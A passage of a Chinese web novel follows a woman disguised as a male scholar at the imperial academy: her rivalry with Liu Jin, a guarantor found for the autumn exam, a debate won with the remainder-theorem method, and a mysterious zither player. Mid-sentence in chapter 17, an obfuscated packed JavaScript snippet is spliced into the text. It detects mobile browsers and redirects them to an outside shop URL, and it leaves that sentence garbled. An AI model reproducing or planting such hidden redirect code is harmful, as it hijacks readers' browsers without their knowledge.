茶过三巡，话匣子打开了。几个年轻学子聊起京中趣闻，谁家公子闹了笑话，哪个官员又纳了小妾。 正说着，楼下街上忽然传来喧哗声。几人探头看去，只见一队官差押着几个人过去，有男有女，都用铁链拴着。 “那是……”有人问。 赵文启看了一眼，淡淡道：“流民。今年北边闹灾，不少人逃到京城来。官府隔几天就抓一批，赶出城去。” 谢青梧看着那些人的背影。有老人，有孩子，有个妇人怀里还抱着婴儿。雪地里，他们赤着脚，脚上都是冻疮。 “赶出城，他们去哪儿？”她问。 “谁知道。”赵文启不在意，“反正不能在京城待着，有碍观瞻。” 有碍观瞻。谢青梧握着茶杯的手紧了紧。 这时，街对面国子监的大门开了，一群学子鱼贯而出。他们穿着统一的青衫，说说笑笑，意气风发。 流民的队伍正好从门前经过。那些学子停下脚步，有的指指点点，有的皱起眉头。一个老流民摔倒了，半天爬不起来，没人去扶。 谢青梧忽然站起身。 “谢公子？”赵文启讶然。 “我出去走走。”谢青梧放下茶杯，下了楼。 她走到街上，雪后的阳光刺眼。流民的队伍已经走远了，只在雪地上留下一串歪歪扭扭的脚印。 她站在那些脚印旁，看了很久。 “公子？”慕容芷不知何时找来了，“房子看好了，就在前头巷子里。一进院子，很清净。” 谢青梧点头：“带我去看看。” 新租的院子离国子监只隔两条街，确实清净。院里也有棵槐树，叶子掉光了，枝干上积着雪。 “就这儿吧。”谢青梧道，“明日搬过来。” 夜里，她独自在院里站了很久。京城很大，很繁华，但也很冷。这种冷，不是风雪带来的，是人心里的冰。 她想起陆执的话：“京城不比江州，水深。” 是啊，水很深。但她既然来了，就要在这深水里，走出自己的路。 16. 国子监 搬进新院子的第三天，谢青梧去了国子监。 国子监在城东，朱红大门，门前立着两块石碑，一块刻“文武百官到此下马”，一块刻“天下英才入此门中”。她站在门外看了会儿，整了整衣冠，递上陈学政写的荐书。 门房是个老吏，接过荐书扫了一眼，脸色立刻恭敬起来：“原来是陈大人的门生。请随我来。” 穿过仪门，眼前豁然开朗。庭院深深，古柏参天，正中是彝伦堂，两侧是六堂——率性、修道、诚心、正义、崇志、广业。正是上课时分，朗朗读书声从各堂飘出来，混着冬日的冷风，有种肃穆的味道。 老吏引她到东厢一间屋子，里面坐着个穿青袍的博士，正在批阅课业。 “徐博士，这位是江州来的谢怀瑾谢公子，陈学政荐来旁听的。” 徐博士抬起头，约莫五十来岁，面容清癯，目光锐利。他接过荐书看了，又打量谢青梧：“小三元？” “学生惭愧。”谢青梧躬身。 “坐吧。”徐博士指指对面的椅子，“陈大人在信里说，你文章写得不错，就是……太锐了些。” 谢青梧垂眸不语。 徐博士把荐书放下：“国子监的规矩，旁听生可以听课，可以借书，但不能参加课考，也不能领廪米。你既然来了，就好好听，少说话。” “学生明白。” “今日率性堂讲《尚书》，你去听听。”徐博士起身，“跟我来。” 率性堂是六堂之首，专收监生中的佼佼者。谢青梧跟着徐博士进去时，堂里已经坐了三四十个监生，个个正襟危坐。讲台上坐着个老先生，白发苍苍，正在讲解《洪范》篇。 徐博士让她在最后一排坐下，自己退了出去。 谢青梧打开随身带的纸笔，认真听讲。那老先生讲得深入浅出，从“洪范九畴”讲到治国之道，又从治国讲到修身。讲到“王道荡荡，无偏无党”时，忽然停下，看向台下。 “今日新来了位旁听生。”老先生声音洪亮，“谢怀瑾，江州府的小三元。老夫听说，你在院试写过一篇‘星火燎原’？” 满堂目光齐刷刷投过来。 谢青梧起身：“是。” “好。”老先生点头，“那老夫问你，若以《洪范》之理，你这‘星火’当如何燎原？又如何不烧成野火，反噬自身？” 这问题问得刁钻。谢青梧略一思索，答道：“回先生，《洪范》言‘皇极’，谓大中至正之道。学生以为，星火燎原，首在‘正’。火种要正，方向要正，所燃亦须是枯枝败叶，而非嘉禾良木。” 她顿了顿：“至于如何不反噬，学生以为，当如大禹治水，疏而不堵。火势太烈则分其焰，风向不对则转其向。但火种既燃，便不能灭。” 老先生盯着她看了片刻，忽然笑了：“坐吧。说得还行。” 一堂课下来，谢青梧记了满满三页笔记。散堂时，有几个监生围过来，好奇地问东问西。多是问江州风物、考试心得，态度还算友善。 但人群里也有几道不善的目光。一个穿锦袍的监生抱着手臂站在不远处，冷眼看着这边。旁边有人小声说：“那是刘瑾，国子监祭酒的外甥。” 谢青梧记下了这个名字。 中午在国子监的饭堂用饭。饭食简单，一荤一素，但管够。谢青梧端着食盘找了个角落坐下，刚吃两口，对面就坐了个人。 抬头一看，是早上那个刘瑾。 “谢公子，”刘瑾似笑非笑，“江州来的？” “是。” “江州好啊，山清水秀。”刘瑾夹了块肉，“不过咱们京城，规矩多。有些话，在外头说说是风骨，在国子监说……就是不懂事了。” 谢青梧放下筷子：“刘公子指教。” “不敢。”刘瑾身子前倾，压低声音，“你那套‘星火燎原’的把戏，在江州玩玩就算了。京城是什么地方？随便一块砖砸下来，都能砸着三品大员。你一个寒门学子，真以为能掀起什么风浪？” 话说得难听，但确是实情。谢青梧看着他：“刘公子说得对。所以学生来国子监，是来读书的。” “读书？”刘瑾嗤笑，“读书是为了什么？还不是为了做官。做官要什么？人脉、靠山、银子。你有哪样？” 谢青梧没接话。 刘瑾自觉占了上风，语气更轻蔑：“陈学政荐你又如何？他老人家清流一派，最是古板。你跟着他，得罪了旁人，将来有你的苦头吃。” “多谢刘公子提醒。”谢青梧端起食盘，“学生吃完了，先走一步。” 她起身离开，身后传来刘瑾的冷哼。 走出饭堂，冬日午后的阳光稀薄。谢青梧在院子里站了会儿，深吸口气，把那股憋闷压下去。 京城第一课：这里的人，说话都喜欢绕弯子。刘瑾那些话，表面是敲打，其实是试探——试探她的背景，试探她的底气。 她转身去了藏书楼。 国子监藏书楼有三层，经史子集分门别类，卷帙浩繁。谢青梧办了借阅牌，在书架间慢慢走。走到史部时，她停住了。 那一排书架上，有几本装帧特别的书，《前朝女官录》《闺阁诗话》《女子德容功言集》。她抽出一本《前朝女官录》，翻开，里面记载着前朝几位女官的传记，虽然篇幅不长，但确确实实存在过。 正看着，身后传来脚步声。一个穿着监生服、但年纪明显小些的少年走过来，看见她手里的书，愣了一下。 “你也看这个？”少年问。 谢青梧合上书：“随便翻翻。你是……” “我叫沈知微。”少年有些腼腆，“在崇志堂读书。这书……很少人看的。” 谢青梧打量他。这少年约莫十四五岁，眉眼清秀，说话细声细气。监生服穿在他身上有些宽大，更显瘦弱。 “为什么很少人看？”她问。 沈知微抿抿唇：“先生说，这些书……不合时宜。” 不合时宜。谢青梧笑了，把书放回书架：“那你还看？” “我……”沈知微脸红了，“我觉得有意思。前朝居然有女子做官，虽然只是些文书小吏，但总归是……” 他没说完，但谢青梧懂了。 两人并肩走出藏书楼。沈知微很健谈，说起国子监的趣事，哪个博士讲课爱打瞌睡，哪个监生晚上翻墙出去喝酒被抓。说到最后，他压低声音：“谢兄，你要小心刘瑾。” “我知道。” “他那人，心眼小。”沈知微道，“你今天在堂上答得漂亮，他肯定记恨了。他舅舅是祭酒，他想整人，办法多得很。” 谢青梧点头：“多谢提醒。” “不过你也别太担心。”沈知微笑了，“国子监里，看不惯他的人也多。有事你说话，我们帮你。” 这个“我们”说得自然。谢青梧心里一暖。 下午没有课，她在藏书楼待到闭楼时分。抱着一摞借来的书走出国子监时，天色已暗。街灯次第亮起，把雪地照得一片昏黄。 慕容芷在门外等她，接过书：“公子，有人送帖子来。” 谢青梧接过一看，是赵文启，邀她明日晚上去听曲，说是有位新来的琴师，技艺绝佳。 她本要推辞，但想到顾临渊的托付，还是应了。在京城，人脉就像蜘蛛网，得一点点织。 回到住处，简单用过晚饭，她便开始整理今日笔记。国子监博士讲的《尚书》，和她以往读的理解有所不同，更重经世致用。她边整理边思考，不知不觉夜深了。 慕容芷端来宵夜时，欲言又止。 “怎么了？”谢青梧问。 “公子，”慕容芷低声道，“我今天在国子监外头……好像看到锦衣卫的人了。” 谢青梧笔一顿：“确定？” “不太确定，但那人走路的样子、看人的眼神，很像。”慕容芷道，“他在对面茶楼坐了整整一下午，一直看着国子监大门。” 陆执还没放弃。 谢青梧放下笔，走到窗边。夜色沉沉，远处传来打更声。京城就像一张巨大的棋盘，每个人都是棋子，而执棋的人，她还没见到。 “我知道了。”她转身，“明天你继续留意。但别打草惊蛇。” 第二日去国子监，果然又见到那个可疑的人。坐在同一间茶楼，同一个位置，穿着寻常布衣，但腰杆笔直，目光如鹰。 谢青梧只当没看见，径直进了门。 今日讲《春秋》，博士是个严肃的中年人，一开口就镇住了全场。讲到“郑伯克段于鄢”时，他忽然点名：“谢怀瑾，你来说说，此事何以载入《春秋》？” 谢青梧起身：“回先生，此事虽为兄弟相争，实则关乎礼法。郑伯身为兄长，不教而诛，有失兄道；共叔段身为臣弟，僭越谋逆，有违臣节。孔子书此，是为警后世：君臣父子，各有其分，不可乱。” 博士点头：“那以你之见，若郑伯早加管教，可能免此祸？” “不能。”谢青梧答得干脆，“共叔段之野心，非一日之寒。郑伯纵容在先，欲除之在后，看似矛盾，实则是权力权衡的结果。此事根本，不在管教，而在制度，若郑国早有定法，明确封君权限，或许能免。” 这话说得大胆。博士挑眉：“你是说，礼法不足以约束人心？” “礼法足以约束君子。”谢青梧道，“但世上不全然是君子。故需有法度，明赏罚，使人知可为与不可为。” 堂上一片寂静。这话几乎是在质疑“礼治”了。 博士盯着她看了许久，最后挥挥手：“坐吧。下课后，来我书房一趟。” 下课后，谢青梧跟着博士去了后院书房。博士姓严，是国子监里出了名的严苛。他关上门，第一句话就是：“你可知，你刚才那番话，传出去会惹麻烦？” “学生知道。” “知道还说？”严博士坐下，倒了杯茶，“谢怀瑾，我看了你的文章，确实有才。但有才的人多了，能活到施展才华那一天的，不多。” 他顿了顿：“陈大人荐你来，是惜才。但你要明白，有些话，现在不能说。” “什么时候能说？”谢青梧问。 严博士一愣。 “若人人都等‘以后’再说，”谢青梧声音平静，“那‘以后’永远不会来。” 书房里安静下来。炉火噼啪，茶烟袅袅。 良久，严博士叹了口气：“你很像一个人。” “谁？” “沈墨沈山长。”严博士眼神悠远，“他当年也是这般，认准的事，九头牛拉不回。结果如何？官至礼部尚书，却因直言进谏，被贬出京。晚年主持书院，算是善终，但抱负……终究未全展。” 他看向谢青梧：“我不是劝你同流合污。只是告诉你，路要一步一步走。你想说的那些话，等你有资格站在金殿上说时，再说。” 这话诚恳。谢青梧躬身：“学生受教。” 从书房出来，天色已晚。谢青梧收拾东西准备离开，却在仪门处被刘瑾拦住了。 “谢公子，”刘瑾皮笑肉不笑，“今日在堂上，真是出尽风头啊。” “刘公子过誉。”谢青梧想绕过去。 刘瑾侧身挡住：“急什么？我听说，你晚上要去春风阁听曲？巧了，我也去。不如一道？” 春风阁就是赵文启说的听曲地方。谢青梧看着他：“刘公子也收到帖子了？” “赵文启那小子，见谁请谁。”刘瑾嗤道，“不过既然碰上了 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云知意抬头，目光在席间扫过。看到谢青梧时，她眼神微不可察地顿了一下。 谢青梧也看着她。这女子很美，但美得没有烟火气，像月光下的雪，清冷疏离。尤其那双眼睛，沉静得不像个乐坊琴师。 琴声起。 是一曲《高山流水》。云知意指法娴熟，琴音淙淙，时而如高山巍巍，时而如流水潺潺。满座静听，无人出声。 谢青梧听着琴，目光却落在云知意的手上。那双手白皙修长，但指腹有薄茧，是常年练琴留下的。可茧子的位置……似乎有些特别。 琴曲终了，余音绕梁。众人纷纷称赞。赵文启笑道：“云姑娘琴艺果然了得。不知可否再奏一曲？” 云知意垂眸：“不知诸位想听什么？” 刘瑾忽然开口：“听说云姑娘是江南人？来京城可还习惯？” 这话问得突兀。云知意抬眼看他，眼神平静：“尚可。” “江南好啊。”刘瑾晃着酒杯，“我有个表叔在扬州做官，说江南女子，个个水灵。不过像云姑娘这般才貌双全的，倒也少见。” 这话带着轻浮。云知意神色不变：“刘公子过奖。” “不过奖不过奖。”刘瑾笑道，“只是我好奇，云姑娘这般人才，怎么沦落到乐坊弹琴？” 这话说得难听了。赵文启脸色微变：“刘兄……” 云知意却笑了。她笑起来更美，但眼里没有温度：“刘公子说笑了。弹琴是谋生，也是修身。比起某些依附家门、无所事事之辈，我倒觉得自食其力，不算沦落。” 刘瑾脸色一僵。 席间气氛微妙。谢青梧看着云知意，忽然觉得这女子不简单。 云知意似乎察觉到她的目光，转头看过来：“这位公子面生，不知如何称呼？” “谢怀瑾。”谢青梧拱手。 “谢公子。”云知意颔首，“方才听琴，公子似乎有所思。不知奴家琴艺有何不足？” “云姑娘琴艺精湛。”谢青梧道，“只是《高山流水》此曲，讲的是知音难觅。姑娘琴音里，高山巍巍有余，流水潺潺不足，可是觉得，知音未遇？” 云知意眼神微动。 良久，她轻声道：“谢公子懂琴。” 她重新抚琴，这次弹的是《梅花三弄》。琴音清越，带着孤傲，像雪中寒梅，独自开放。 谢青梧静静听着。这曲子里，有不甘，有孤高，还有一种……等待。 琴声再终时，夜已深了。众人纷纷告辞。谢青梧起身，云知意忽然开口：“谢公子留步。” 她走过来，递过一张素笺：“公子若得闲，可来听琴。奴家每旬三、六在此。” 谢青梧接过素笺，上面只有一行小字：春风阁，云知意。 “多谢。”她收起素笺。 走出春风阁，冷风一吹，酒意散了大半。刘瑾跟上来，阴阳怪气道：“谢公子好手段，才见一面，就得美人青睐。” 谢青梧没理他，径直往前走。 刘瑾在身后冷笑：“不过谢公子，我劝你一句，离那云知意远点。那女人……不简单。” 谢青梧停步回头：“刘公子知道什么？” “我知道的可多了。”刘瑾凑近，压低声音，“她是三个月前突然出现在京城的，一来就进了春风阁，琴艺好，模样好，但来历不明。有人查过，查不到底细。你说，一个查不到底细的女子，能在京城站稳脚跟，背后能没点东西？” 这话倒有几分道理。谢青梧看着他：“刘公子为何告诉我这些？” “因为我看你还算顺眼。”刘瑾难得正经，“谢怀瑾，你是有真才实学的，比那些纨绔强。我不想看你栽在女人手里。” 他说完，摆摆手走了，背影在夜色里有些摇晃。 谢青梧站在街边，看着手里的素笺。云知意……她究竟是谁？ 慕容芷不知从哪儿冒出来，低声道：“公子，有人盯梢。” “几个？” “两个。一个在对面酒楼，一个在街角。”慕容芷道，“看身形，不是白天那个锦衣卫。” 谢青梧把素笺收进袖中：“走吧。回家。” 主仆二人沿着长街往回走。雪又下了起来，细细碎碎，落在肩头，很快化了。 谢青梧回头看了一眼春风阁。三楼某个窗子里，有个人影立在窗前，正看着这个方向。 是云知意。 两人隔空对视一瞬，窗子关上了。 谢青梧转回头，心里那个疑团，越来越大。 17. 文会 秋闱的日子一天天近了。 国子监里气氛明显紧张起来。监生们走路都带着风，藏书楼里经常满座，夜里各斋舍的灯火总要亮到三更。 谢青梧也进入了全力备考的状态。她每天天不亮就起床，先练半个时辰字，然后去国子监听早课。午后在藏书楼温书，傍晚回住处整理笔记，夜里再写几篇策论练手。 这样过了半个月，她发现自己被孤立了。 不是明面上的排挤，见面还打招呼，吃饭还能同桌，而是一种无形的隔阂。讨论功课时不叫她，借阅孤本时轮不到她，连监生们私下组织的文会，她也收不到帖子。 沈知微偷偷告诉她：“是刘瑾捣的鬼。他说你……文章太偏，跟你走太近会影响前程。” 谢青梧听了只是笑笑。前程？她现在连能不能参加秋闱都是问题。 按例，外地学子要在京城参加乡试，需有本地廪生作保。陈学政虽然荐她进国子监听讲，但作保的事，还得她自己想办法。 她找了赵文启。赵文启支支吾吾：“这个……怀瑾啊，不是我不帮你。只是作保这事，责任太大。万一你……” “我明白。”谢青梧没再为难他。 她又找了几位有过一面之缘的学子，得到的答复大同小异。有人干脆明说：“谢公子，你那篇‘星火燎原’传得太广，给你作保，我怕惹麻烦。” 这就是现实。文章写得好是一回事，能不能考是另一回事。 眼看离报名截止只剩三天，谢青梧坐在院里，看着满地黄叶出神。 慕容芷端茶过来，低声说：“公子，要不……我晚上去‘请’一位廪生来？” 她说得隐晦，但意思明白。谢青梧摇头：“不行。强扭的瓜不甜，就算逼他写了保书，心里不情愿，将来也是隐患。” “那怎么办？” 谢青梧没说话。她想起顾临渊给的那块玉佩，去永兴当铺，找掌柜。 但她不想用。人情债最难还，尤其是顾临渊的人情。 正想着，院门被敲响了。 开门一看，竟是严博士。 严博士披着件旧棉袍，手里提着个食盒，像个寻常老头。他进门打量院子，点点头：“收拾得挺干净。” “先生怎么来了？”谢青梧忙请他进屋。 “路过。”严博士把食盒放下，里头是几样点心和一壶酒，“天冷了，喝点酒暖暖身子。” 两人在屋里坐下。慕容芷温了酒，退出去守在门外。 严博士抿了口酒，忽然道：“保人的事，还没着落吧？” 谢青梧一怔。 “不用惊讶，国子监里没秘密。”严博士放下酒杯，“刘瑾那小子放的话，我都听说了。说你有才无德，文章偏激，谁给你作保谁倒霉。” “学生……” “你不用解释。”严博士摆手，“我教了三十年书，什么学生没见过？有才的，无才的，圆滑的，耿直的。你这样的……不多见。” 他顿了顿：“知道沈墨沈山长当年怎么教我的吗？他说，读书人要记住两件事：一是明理，二是敢为。明理不难，难在敢为。因为敢为，往往要付出代价。” 谢青梧静静听着。 “你现在遇到的，就是代价。”严博士看着她，“你那篇文章，写得很好。但好文章不一定要说出来，说出来就要准备好挨骂、被孤立、甚至失去机会。” “先生觉得，学生做错了吗？” “错？”严博士笑了，“对错是小孩才分的东西。我只问你，如果重来一次，你还会写那篇文章吗？” “会。” “那就不算错。”严博士从怀里掏出一张纸，推过来，“这是我的廪生凭证。我给你作保。” 谢青梧愣住了。 严博士是国子监博士，有廪生资格，作保当然没问题。但问题是，他为什么要冒这个险？ “先生，这……” “别多想。”严博士又喝了口酒，“我不是可怜你，也不是欣赏你。我只是觉得，如果连秋闱都进不去，你这把‘星火’也太容易灭了。我想看看，你能烧成什么样。” 他说得随意，但谢青梧听出了里面的分量。 她起身，郑重一礼：“学生谢过先生。” “别急着谢。”严博士道，“我作保有个条件，秋闱你必中。要是落榜，丢的是我的脸。” “学生尽力。” “不是尽力，是必中。”严博士站起身，“好了，我走了。保书明天给你送来。” 他走到门口，又回头：“对了，国子监后天有场‘文会’，说是切磋学问，实则是秋闱前的摸底。刘瑾攒的局，请了不少人。你也去。” “学生怕不受欢迎。” “就是要你不受欢迎才去。”严博士笑了，“让他们看看，什么叫真才实学。” 送走严博士，谢青梧在灯下坐了很久。那张廪生凭证就放在桌上，纸已经发黄，但印章鲜红。 慕容芷进来收拾，看见她的神色，轻声问：“公子，这位严博士……可信吗？” “不知道。”谢青梧实话实说，“但眼下，我没有别的选择。” 而且严博士说得对，如果连秋闱都进不去，还谈什么燎原？ 文会设在国子监的明伦堂。谢青梧到的时候，堂里已经坐了三四十人，除了监生，还有几位京中有名的才子。刘瑾坐在主位，正与人谈笑风生。 见她进来，堂里静了一瞬。 刘瑾挑眉：“哟，谢公子也来了？稀客。” “刘公子相邀，岂敢不来。”谢青梧找了个角落坐下。 文会的规矩是“切磋”，其实就是辩论。一人出题，众人驳难，最后评出胜者。出题权在刘瑾手里。 他扫视全场，慢悠悠开口：“今日既为秋闱预热，咱们就论一论科举之本，何谓‘取士之道’？” 题目出得大。众人纷纷发言，有的说“取士以德”，有的说“取士以才”，有的引经据典，有的结合实际。 轮到谢青梧时，堂上已经争得面红耳赤。 她起身，先向众人一礼，然后开口：“方才诸位所言，学生都听了。德才之辩，古已有之。但学生想问，何为德？何为才？” 刘瑾嗤笑：“这还用问？德是品行，才是学识。” “那敢问刘公子，”谢青梧看向他，“一个寒窗苦读、孝顺父母、友爱兄弟的寒门学子，与一个倚仗家世、欺凌弱小、却精通诗赋的纨绔子弟，孰德孰才？” 这话问得刁钻。刘瑾脸色一沉：“你这是诡辩！” “非也。”谢青梧道，“学生只是想问，德才之论，是否也该有个标准？若标准模糊，那‘取士以德’便可能沦为‘取士以名’，‘取士以才’便可能沦为‘取士以势’。” 她顿了顿：“故学生以为，取士之道，首在‘公’字。何为公？一曰机会公，寒门世家，同场竞技；二曰标准公，德有德行可考，才有才学可测；三曰结果公，取中与否，只看文章，不问出身。” 堂上一片寂静。 这话说得太直白了。几乎是在指责现在的科举不公。 一个穿绸衫的公子冷笑：“谢公子说得轻巧。寒门世家，资源不同，如何同场竞技？世家子弟有名师教导，寒门学子靠自学苦读，这公平吗？” “是不公平。”谢青梧点头，“所以朝廷该做的，不是维持这种不公平，而是尽力消除它。比如在州县广设官学，比如刻印经义廉价发售，比如给寒门学子提供赶考路费，这些，都是可以做的事。” “那银子从哪儿来？”又有人问。 “从该来的地方来。”谢青梧道，“朝廷每年拨给各地官学的银子，有多少真正用在学子身上？各地贡院修缮，有多少是实报实销？若能从这些地方省出一些，便足够做很多事。” 这话涉及官场弊病，没人敢接茬了。 刘瑾脸色难看，忽然道：“谢公子高论。不过纸上谈兵容易，真要做起来难。不如咱们来点实际的，我这儿有道算学题，谢公子解解？” 他从袖中掏出一张纸，让书童传给谢青梧。 题目是：“今有物不知其数，三三数之剩二，五五数之剩三，七七数之剩二，问物几何？” 这是道著名的“孙子算经”题，在场不少人都知道答案。刘瑾出这题，显然是想刁难，若谢青梧答不上，便证明她只会空谈；若答上了，也无非是拾人牙慧。 谢青梧看完题，笑了。 她提笔在纸上写了个数字，递回去。 刘瑾一看，愣了，纸上写的不是答案，而是一个算式。 “这是什么？”他皱眉。 “解法。”谢青梧道，“此乃‘大衍求一术’，可解一切此类问题。三三数之余数乘七十，五五数之余数乘二十一，七七数之余数乘十五，相加后减去一百零五的倍数，即为所求。” 她走到堂前，拿起粉笔在竖起的木板上写起来：“这背后的道理，是同余运算。若推广开来，可用于历法推算、军粮调配、乃至钱粮核算。算学不是猜谜，是工具。取士若只考猜谜之能，不考工具之用，岂非本末倒置？” 她讲得深入浅出，从孙子算经讲到《九章算术》，又从算学讲到实际应用。堂上原本想看热闹的人，都听入了神。 刘瑾的脸色越来越难看。 等谢青梧讲完，一个一直没说话的老监生忽然起身，向她一揖：“听君一席话，胜读十年书。老夫在国子监三十年，头回听人把算学讲得如此透彻。” 这老监生姓徐，是国子监里资历最老的博士之一，平时不苟言笑，极少夸人。 他这一开口，风向顿时变了。不少人看向谢青梧的眼神，从审视变成了敬佩。 刘瑾咬牙，还想说什么，徐博士却先开了口：“今日文会，到此为止吧。谢公子方才所言，诸位回去好好想想。秋闱在即，莫在这些虚名上浪费时间。” 文会散了。 谢青梧走出明伦堂时，沈知微追上来，眼睛发亮：“谢兄，你刚才太厉害了！那套算法，能教教我吗？” “当然。”谢青梧笑道，“不过得等秋闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946683|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。” “一言为定！”沈知微高兴地走了。 谢青梧正要离开，徐博士从后面叫住她：“谢公子留步。” 她转身行礼：“徐先生。” 徐博士打量她，眼神复杂：“你那套‘大衍求一术’，从哪儿学的？” “自己琢磨的。”谢青梧道，“学生在家时，常帮邻里算账，渐渐悟出些门道。” 这话半真半假。算法确实是古人所创，但她前世学过数论，理解起来自然比旁人深。 徐博士盯着她看了会儿，忽然道：“秋闱之后，若你得空，来我住处一趟。我有些书，或许对你有用。” 这是橄榄枝。谢青梧郑重应下：“学生一定来。” 走出国子监时，天色尚早。谢青梧没急着回住处，拐去了春风阁。 她记得云知意给的素笺上说，每旬三、六在。今日正是初六。 春风阁白天很安静，只有几个小厮在打扫。谢青梧说明来意，被引到三楼一间雅室。 云知意正在煮茶。见是她，微微一笑：“谢公子来了。请坐。” 雅室不大，但布置雅致。墙上挂着一幅雪梅图，题着“疏影横斜水清浅，暗香浮动月黄昏”。案上香炉里燃着檀香，烟气袅袅。 “云姑娘好雅兴。”谢青梧在对面坐下。 云知意递过一杯茶：“粗茶而已。谢公子今日怎么有空来？” “来谢姑娘。”谢青梧接过茶，“那日听琴，受益良多。” “奴家琴艺粗陋，当不起谢公子一个谢字。”云知意垂眸，“倒是公子今日在国子监的文会，才是真精彩。” 谢青梧手一顿：“云姑娘如何知道？” “春风阁离国子监不远，消息传得快。”云知意语气平淡，“听说公子一番高论，连徐博士都刮目相看。” 她说得轻巧，但谢青梧心里明白，文会结束不到一个时辰，消息就传到春风阁，这速度不正常。 除非，有人特意关注。 “云姑娘似乎对国子监的事很关心。”谢青梧试探道。 云知意抬眼，目光清凌凌的：“奴家关心所有有趣的事。谢公子这样的人出现在京城，本就很有趣。” 两人对视片刻。 云知意忽然笑了：“公子别紧张。奴家没有恶意。只是觉得……公子不像普通的读书人。” “哪里不像？” “眼神。”云知意道，“普通读书人眼里，要么是功名，要么是风月。公子眼里，有别的。” “比如？” “比如……”云知意顿了顿，“不甘。” 这个词用得准。谢青梧握着茶杯，没说话。 云知意起身，走到窗边：“奴家也是女子，知道这世道对女子如何。所以看到公子这样的男子，能为女子说话，能为寒门说话，总觉得……难得。” 她回头：“但公子要小心。京城这地方，容得下圆滑，容不下尖锐。公子这把刀，太利了。” 这话和严博士说的如出一辙。 谢青梧放下茶杯：“多谢姑娘提醒。但刀已经出鞘，就不能再藏回去。” 云知意看着她，良久，轻声道：“那奴家就祝公子……刀锋所向，皆成坦途。” 她从案下取出一个小木盒，推过来：“一点心意，公子收着。” 谢青梧打开，里面是几支上好的狼毫笔，还有一锭徽墨。 “这太贵重了。” “笔墨赠君子，正合适。”云知意道，“秋闱在即，公子用得上。” 谢青梧没再推辞。她收下木盒，起身告辞。 走到门口时，云知意忽然叫住她：“谢公子。” “姑娘还有事？” “若将来……公子遇到难处，可以来找我。”云知意声音很轻，“春风阁虽然只是乐坊，但有时候，消息比别处灵通。” 这话里有话。谢青梧点头：“我记住了。” 从春风阁出来，已是黄昏。街市上灯火初上，行人匆匆。 慕容芷在街角等她，脸色不太好看。 “怎么了？”谢青梧问。 “公子，陆执又出现了。”慕容芷低声道，“他今天去了国子监，找徐博士问话。我偷听到一点……他在查你的户籍。” 终于来了。谢青梧深吸口气：“查到什么了？” “还不知道。但徐博士好像没说什么。”慕容芷道，“不过陆执这人，不查到东西不会罢休。” 谢青梧点点头。她早就料到会有这一天，只是没想到这么快。 回到住处，她拿出顾临渊给的那块玉佩，看了很久，最终又收了起来。 还不到用的时候。 夜里，她坐在灯下，翻开严博士送来的保书。字迹工整，印章鲜红，一切都合规。 有了这个，她就能参加秋闱了。 但秋闱只是开始。后面还有会试，殿试，还有更长的路。 她提笔，在纸上写下一行字：“刀已出鞘，当磨其锋。” 但她没有退路，从来没有。 18. 秋闱 秋闱开考那日，京城下起了淅淅沥沥的秋雨。 天还没亮透，贡院外就已经挤满了人。考生、送考的家人、卖早点的摊贩、维持秩序的衙役，把整条街堵得水泄不通。雨丝混着灯笼的光，在青石板路上晕开一片片水渍。 谢青梧撑着伞站在人群里，身后跟着慕容芷。她的考篮里装着笔墨纸砚、干粮清水，还有严博士给的保书。雨打在油纸伞上，噼啪作响。 “公子，伞拿好。”慕容芷把伞又往她这边偏了偏，自己半边肩膀湿了。 “没事。”谢青梧接过伞，看了眼天色，“时辰快到了。” 贡院的大门缓缓打开，两列衙役持刀而立。主考官穿着官服站在阶上，声音洪亮：“考生列队，查验入场！” 队伍开始蠕动。谢青梧随着人流往前挪，到门口时递上考篮和保书。查验的官员仔细核对了保书，又打量她几眼：“谢怀瑾？” “是。” “进去吧。” 跨过贡院高高的门槛，里面是另一番天地。庭院深深，两侧是一排排低矮的号舍，像蜂巢般密密麻麻。雨雾中，只能看见影影绰绰的人影在各处走动。 谢青梧找到自己的号舍，地字十七号。这位置不错，在中间排，不靠边，不漏雨。她放下考篮，先检查号舍：木板床铺着草席，号板当书桌，墙角有个瓦盆当便桶。虽然简陋，但还算干净。 她刚铺好油布，准备摆开笔墨，隔壁号舍传来一声惊呼：“我的墨！” 转头看去，是个面生的年轻学子，正手忙脚乱地收拾打翻的砚台。墨汁泼了一地，染黑了他的衣摆。 谢青梧从自己考篮里取出一块备用墨锭，递过去：“先用这个。” 那学子一愣，随即感激涕零：“多谢兄台！这……这怎么好意思……” “考试要紧。”谢青梧摆摆手，转回自己的号舍。 辰时整，鼓声响起。考题发下来了。 谢青梧展开卷纸，先快速浏览一遍。头场考四书五经，三道题：《大学》的“格物致知”，《孟子》的“民贵君轻”，还有一道诗题，要求以“秋雨”为意作七律。 她深吸口气，研墨提笔。 “格物致知”这题，她没按常规解释，而是从“物”字入手，写“物有本末，事有始终”，引申到治国，格物不仅是格书本之物，更是格天下万物；致知不仅是知圣贤之言，更是知百姓疾苦。 写到一半，雨忽然大了。豆大的雨点砸在号舍的瓦檐上，噼里啪啦像炒豆子。风卷着雨丝从门缝钻进来，打湿了卷纸一角。 谢青梧连忙用镇纸压住，又扯了块布巾塞住门缝。正忙着，听见隔壁传来压抑的咳嗽声，是刚才那个打翻墨的学子。 她侧耳听了听，那咳嗽声越来越急，带着痰音。 犹豫片刻，她起身敲了敲隔板：“兄台可还好？” 隔壁静了一瞬，然后传来虚弱的声音：“还……还好，就是有些喘。” 谢青梧想了想，从考篮里摸出个小瓷瓶。治风寒咳嗽的。她把药从隔板下递过去：“我这儿有些药丸，你含一颗试试。” 那学子接过，道了谢。不多时，咳嗽声渐渐平息。 谢青梧这才安心继续答卷。等三道题都写完，已是午后。雨小了些，变成绵绵的细雨。她检查一遍卷子，确认无误，才收拾东西，靠在墙边闭目养神。 第一场考完，考生可以出号舍活动一刻钟。谢青梧走到院子里透气，看见那个打翻墨的学子也出来了，脸色还是苍白，但精神好了些。 “多谢兄台赠药。”他走过来拱手，“在下李慕白，江陵人士。” 